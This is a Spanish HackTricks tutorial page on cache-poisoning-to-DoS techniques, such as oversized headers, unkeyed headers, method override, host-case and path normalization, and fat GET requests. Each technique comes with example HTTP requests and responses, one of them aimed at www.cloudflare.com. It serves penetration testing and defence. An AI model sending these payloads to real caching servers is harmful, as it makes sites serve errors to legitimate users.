Cache Poisoning to DoS

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

En esta página puedes encontrar diferentes variaciones para intentar hacer que el servidor web responda con errores a solicitudes que son válidas para los servidores de caché

  • Tamaño excesivo de encabezado HTTP (HHO)

Envía una solicitud con un tamaño de encabezado mayor al admitido por el servidor web pero menor al admitido por el servidor de caché. El servidor web responderá con un código de respuesta 400 que podría ser almacenado en caché:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • Carácter meta de HTTP (HMC) y valores inesperados

Enviar un encabezado que contenga algunos caracteres meta dañinos como y . Para que el ataque funcione, primero debes eludir la caché.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Un encabezado mal configurado podría ser simplemente \: como encabezado.

Esto también podría funcionar si se envían valores inesperados, como un Content-Type inesperado:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Encabezado sin clave

Algunos sitios web devolverán un código de estado de error si ven algunos encabezados específicos en la solicitud, como con el encabezado X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • Ataque de Sustitución de Método HTTP (HMO)

Si el servidor admite cambiar el método HTTP con encabezados como X-HTTP-Method-Override, X-HTTP-Method o X-Method-Override, es posible solicitar una página válida cambiando el método para que el servidor no lo admita y se almacene una respuesta incorrecta:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Puerto sin clave

Si el puerto en el encabezado del Host se refleja en la respuesta y no se incluye en la clave de caché, es posible redirigirlo a un puerto no utilizado:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Denegación de Servicio por Redirección Larga

Como en el siguiente ejemplo, x no está siendo almacenado en caché, por lo que un atacante podría abusar del comportamiento de la respuesta de redirección para hacer que el redireccionamiento envíe una URL tan grande que devuelva un error. Entonces, las personas que intenten acceder a la URL sin la clave x sin caché recibirán la respuesta de error:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalización de mayúsculas y minúsculas en el encabezado del host

El encabezado del host debería ser insensible a mayúsculas y minúsculas, pero algunos sitios web esperan que esté en minúsculas y devuelven un error si no lo está:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalización de ruta

Algunas páginas devolverán códigos de error enviando datos URLcodificados en la ruta, sin embargo, el servidor de caché URLdecodificará la ruta y almacenará la respuesta para la ruta URLdecodificada:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Algunos servidores de caché, como Cloudflare, o servidores web, detienen las solicitudes GET con un cuerpo, por lo que esto podría ser abusado para almacenar en caché una respuesta inválida:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización